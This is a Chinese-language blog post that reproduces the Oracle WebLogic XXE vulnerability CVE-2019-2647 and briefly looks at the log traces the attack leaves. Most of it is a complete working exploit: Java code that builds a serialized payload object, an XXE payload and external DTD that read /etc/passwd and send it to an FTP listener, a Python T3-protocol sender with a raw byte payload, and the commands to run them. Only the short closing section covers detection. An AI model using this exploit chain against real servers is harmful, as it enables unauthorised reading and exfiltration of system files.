Weblogic xxe漏洞复现及攻击痕迹分析(CVE-2019-2647)

前言

Oracle发布了4月份的补丁,链接(https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW),其中涉及了好几个严重的漏洞,此处只分析cve-2019-2647的xxe漏洞。本打算对比补丁进行分析,但是,oracle的补丁是收费的,所以就只有通过别人关于补丁的分析文章,从而理出漏洞的利用思路。

漏洞影响版本

10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0

复现环境

  • Weblogic 12.2.1.3.0
  • Ubuntu 18.04
  • Intellij Idea
  • JDK 1.8

复现过程

廖师傅给出的Poc只是单纯的逻辑实现,导入的各种包没有交代清楚,对于小白来说还是要走很多弯路才能构造处能够利用的Poc,我这里就演示一下在Idea中怎么构造这个Poc,让他能够运行起来。

  1. 新建一个java工程,创建一个WeblogicXXE1类,内容如下
import weblogic.wsee.wstx.wsat.Transactional;

import java.lang.reflect.Field;
import javax.transaction.xa.Xid;
import javax.xml.transform.Result;
import javax.xml.transform.stream.StreamResult;
import javax.xml.ws.EndpointReference;
import java.io.*;

public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }

    public static class MyEndpointReference extends EndpointReference{
        @Override
        public void writeTo(Result result) {
            byte[] tmpbytes = new byte[4096];
            int nRead;
            try{
                InputStream is = new FileInputStream(new File("./test.xml"));

                while((nRead=is.read(tmpbytes,0,tmpbytes.length)) != -1){
                    ((StreamResult)result).getOutputStream().write(tmpbytes,0,nRead);
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }

    public static Object getXXEObject() {
        int klassVersion = 1032;
        Xid xid = new weblogic.transaction.internal.XidImpl();
        Transactional.Version v = Transactional.Version.DEFAULT;
        byte[] tid = new byte[]{65};
        weblogic.wsee.wstx.internal.ForeignRecoveryContext frc = new weblogic.wsee.wstx.internal.ForeignRecoveryContext();
        try{
            Field f = frc.getClass().getDeclaredField("fxid");
            f.setAccessible(true);
            f.set(frc,xid);
            Field f1 = frc.getClass().getDeclaredField("epr");
            f1.setAccessible(true);
            f1.set(frc,(EndpointReference)new MyEndpointReference());
            Field f2 = frc.getClass().getDeclaredField("version");
            f2.setAccessible(true);
            f2.set(frc,v);
        }catch(Exception e){
            e.printStackTrace();
        }
        return frc;
    }
}

将上面的内容复制后,会发现很多包都找不到,这就需要往我们的工程中添加相关的包了,具体操作方法为:
File----Project Structure,就会出现下图的窗口
在这里插入图片描述

然后最左边这一栏选中Libraries,接下来就是添加外部包了,点击中间那一栏上方的“+”号,然后选择java,然后选择相应路径就行了,在这里我们主要添加三个路径下面的外部包。

  • 安装目录下的wlserver/modules目录
  • 安装目录下的oracle_common/modules目录
  • 安装目录下的wlserver/server/lib目录

把这三个目录添加进来就可以解决包找不到的问题了。

Poc的构造以及漏洞分析已经有很人做过了,我这里就主要是补充一下细节操作,以及漏洞复现。上面的Poc的作用就是序列化一个ForeignRecoveryContext对象并输出到文件xxe中,这个对象中最关键的就是test.xml这个文件,这个文件中的内容也就是我们的xxe的payload,内容如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % dtd SYSTEM "http://127.0.0.1:9009/my.dtd">
        %dtd;
        ]>
<ANY>xxe</ANY>

my.dtd的内容如下

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'ftp://127.0.0.1:2121/%file;'>"
>
%all;
%send;

my.dtd放在我的http服务器上,现在当我们运行上述的Poc时,会在工程目录下生成一个xxe文件,这个文件存放着序列化后的我们特意构造ForeignRecoveryContext对象,现在万事具备,那么要怎么触发漏洞呢?很简单,我们只要使用t3协议,把我们序列化后的payload发送过去,weblogic会自动反序列化我们的payload,从而解析xml,从而触发漏洞,所以,我们还需要一个使用t3协议发送数据的脚本,如下:

#!/usr/bin/python
import socket
import sys
import struct

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

payloadObj = open(sys.argv[3],'rb').read()

payload='\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload=payload+payloadObj
payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'

# adjust header for appropriate message length
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])

print 'sending payload...'
sock.send(payload)

脚本的使用也很简单
python 脚本名 目标ip 目标端口 本地序列化后的payload文件路径

接下来我利用SimpleHTTPServer与pyftpdlib分别构造一个简单的http server与ftp server。

python -m SimpleHTTPServer 9009
python -m pyftpdlib 2121

然后我们运行t3协议脚本

python weblogic-t3.py 127.0.0.1 7001 /data/JavaProjects/test/xxe

在这里插入图片描述可见,我们的payload已经发送过去了,此时ftp server这边也收到数据了
在这里插入图片描述
我这里通过ftp读取的数据并不完整,可能是因为jdk版本的原因,我看其他文章都是完整读取了的,而且这里读取的数据看起来很奇怪,是因为ftp协议如果遇到“/”这个符号,就会再次发送CWD命令。

痕迹分析

这次的攻击不需要访问web,只需要发送t3协议就可以攻击成功,如果在这个攻击过程中不出现差错是捕获不到痕迹的,但是一旦出错就可以在日志中查询到蛛丝马迹
日志路径如下:
user_projects/domains/base_domain/servers/AdminServer/logs
在以你的私域为名的日志中(例如我的域名叫做base_domain,这也是默认的域名,所以在日志base_admin.logxxx中)可以看到
在这里插入图片描述

在这里插入图片描述

由于专程pdf后,代码部分不能完整显示,我把文章放在了博客上
https://blog.csdn.net/he_and/article/details/89843004

发布了116 篇原创文章 · 获赞 161 · 访问量 42万+

猜你喜欢

转载自blog.csdn.net/he_and/article/details/89843004